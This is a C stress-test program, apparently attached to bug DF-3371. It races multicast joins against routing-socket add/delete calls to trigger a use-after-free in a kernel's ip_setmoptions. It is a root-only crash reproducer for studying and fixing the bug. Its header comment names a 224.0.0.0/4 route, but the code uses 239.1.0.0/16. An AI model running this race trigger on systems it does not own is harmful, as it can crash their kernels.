DF-3371 / race_mreq.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-3371 -- ip_setmoptions IP_ADD_MEMBERSHIP drops the route reference * before reading rt_ifp (ip_output.c:1655-1659): * * rt = rtlookup((struct sockaddr *)&dst); * if (rt == NULL) ... * --rt->rt_refcnt; (manual decrement, not rtfree) * ifp = rt->rt_ifp; (use after the drop) * * Racing RTM_DELETE of the matched route: if our decrement is the last * reference while another CPU removed the entry from the tree, the * concurrent rtfree() frees the rtentry and the very next instruction * reads rt->rt_ifp out of freed memory (and the manual decrement itself * writes freed memory). * * Stress: thread A hammers IP_ADD_MEMBERSHIP (imr_address=INADDR_ANY -> * the rtlookup branch) for a multicast dst whose route is 224.0.0.0/4; * thread B hammers route add/delete of 224.0.0.0/4. * Root. A clean exit after N iterations = race not hit. */ #include <sys/types.h> #include <sys/socket.h> #include <net/route.h> #include <net/if_dl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> static volatile int stop; static long joins_ok, dels_ok, adds_ok; static void * joiner(void *v) { struct ip_mreqn mreqn; int s = socket(AF_INET, SOCK_DGRAM, 0); while (!stop) { memset(&mreqn, 0, sizeof(mreqn)); inet_pton(AF_INET, "239.1.2.3", &mreqn.imr_multiaddr); mreqn.imr_address.s_addr = htonl(INADDR_ANY); mreqn.imr_ifindex = 0; if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreqn, sizeof(mreqn)) == 0) joins_ok++; /* matching drop to keep membership slots free */ setsockopt(s, IPPROTO_IP, IP_DROP_MEMBERSHIP, &mreqn, sizeof(mreqn)); } return (NULL); } static void * router(void *v) { int s = socket(AF_ROUTE, SOCK_RAW, 0); char buf[512]; struct rt_msghdr *rtm; struct sockaddr_in *dst, *mask, *gate; while (!stop) { memset(buf, 0, sizeof(buf)); rtm = (struct rt_msghdr *)buf; rtm->rtm_version = RTM_VERSION; rtm->rtm_type = RTM_ADD; rtm->rtm_flags = RTF_UP | RTF_STATIC; rtm->rtm_addrs = RTA_DST | RTA_NETMASK | RTA_GATEWAY; rtm->rtm_seq = 4242; dst = (struct sockaddr_in *)(buf + sizeof(*rtm)); dst->sin_len = sizeof(*dst); dst->sin_family = AF_INET; inet_pton(AF_INET, "239.1.0.0", &dst->sin_addr); mask = (struct sockaddr_in *)((char *)dst + RT_ROUNDUP(sizeof(*dst))); mask->sin_len = sizeof(*mask); mask->sin_family = AF_INET; inet_pton(AF_INET, "255.255.0.0", &mask->sin_addr); gate = (struct sockaddr_in *)((char *)mask + RT_ROUNDUP(sizeof(*mask))); gate->sin_len = sizeof(*gate); gate->sin_family = AF_INET; inet_pton(AF_INET, "127.0.0.1", &gate->sin_addr); rtm->rtm_msglen = ((char *)gate + RT_ROUNDUP(sizeof(*gate))) - buf; { ssize_t w = write(s, buf, rtm->rtm_msglen); if (w >= 0) adds_ok++; else if (adds_ok + dels_ok < 3) printf("ADD err: %s\n", strerror(errno)); } usleep(100); rtm->rtm_type = RTM_DELETE; { ssize_t w = write(s, buf, rtm->rtm_msglen); if (w >= 0) dels_ok++; else if (adds_ok + dels_ok < 3) printf("DEL err: %s\n", strerror(errno)); } } return (NULL); } int main(int argc, char **argv) { int secs = argc > 1 ? atoi(argv[1]) : 60; pthread_t a, b; if (geteuid() != 0) { fprintf(stderr, "root only\n"); return (1); } pthread_create(&a, NULL, joiner, NULL); pthread_create(&b, NULL, router, NULL); sleep(secs); stop = 1; pthread_join(a, NULL); pthread_join(b, NULL); printf("joins=%ld route-adds=%ld route-dels=%ld (no crash = window not hit)\n", joins_ok, adds_ok, dels_ok); return (0); } |